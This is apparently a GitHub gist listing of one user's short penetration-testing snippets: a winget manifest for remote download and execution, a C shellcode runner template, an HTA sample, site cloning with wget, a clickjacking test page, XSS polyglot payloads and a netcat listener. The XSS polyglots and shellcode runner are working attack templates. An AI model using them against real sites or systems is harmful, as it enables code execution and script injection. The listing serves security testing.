Skip to content

Instantly share code, notes, and snippets.

View saulpanders's full-sized avatar

saulpanders

View GitHub Profile
@saulpanders
saulpanders / winget-manifest-test.yml
Created January 3, 2022 04:01
Sample manifest file to use with winget.exe to download and execute a remote file.
PackageIdentifier: TestInstall
PackageVersion: 1.0.0
PackageLocale: en-US
Publisher: Acme
PackageName: Test
License: MIT
ShortDescription: WinGet test
Installers:
- Architecture: x64
InstallerType: exe
@saulpanders
saulpanders / servewasm.py
Created November 7, 2021 04:01
Python3 web server for WASM
#!/usr/bin/env python3
import http.server
import socketserver
PORT = 8080
Handler = http.server.SimpleHTTPRequestHandler
Handler.extensions_map.update({
'.wasm': 'application/wasm',
@saulpanders
saulpanders / runner.c
Created October 9, 2021 03:33
quick and dirty shellcode runner - a classic
#include <stdio.h>
# shellcode goes here
unsigned char buf[] =
"\x90";
int main(){
int (*ret)();
ret = (int(*)())buf;
@saulpanders
saulpanders / test.hta
Created December 25, 2020 22:11
sample HTA
<html>
<head>
<title>HTML Application (HTA)</title>
<meta http-equiv="x-ua-compatible" content="ie=9">
</head>
<body>
<p>Misc HTML elements</p>
var http = require('http');
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('Hello World!');
}).listen(8080);
console.log("yo, check port 8080")
@saulpanders
saulpanders / clone_site.sh
Created May 4, 2020 20:56
clone a website with wget
wget -E -H -k -K -p -nd -o logwget.txt --directory-prefix /var/www/html <target>
@saulpanders
saulpanders / clickjack_test.html
Created April 30, 2020 22:38
HTML template for testing clickjacking
<html>
<head>
<title>Clickjack Test</title>
</head>
<body>
<p>Website at "xxx" vulnerable to clickjacking!</p>
<iframe src="xxx" width="650" height="650"></iframe>
</body>
</html>
@saulpanders
saulpanders / xss-polyglots.txt
Created April 27, 2020 00:15
xss polyglots
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
'--><svg onload=alert()>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
@saulpanders
saulpanders / netcat-webserver.sh
Created April 27, 2020 00:13
netcat_webserver_oneliner
#! /bin/bash
# https://gist.github.com/Plazmaz/cafd0bd3a3a4471446cc8fe6e4f0c036
sudo bash -c 'while true; do echo "HTTP/1.1 200 OK\n\n" |nc -l -p 80 |egrep -v "Accept" |egrep -v "Content-Length" |egrep -v "Host" |egrep -vi "cache"; done'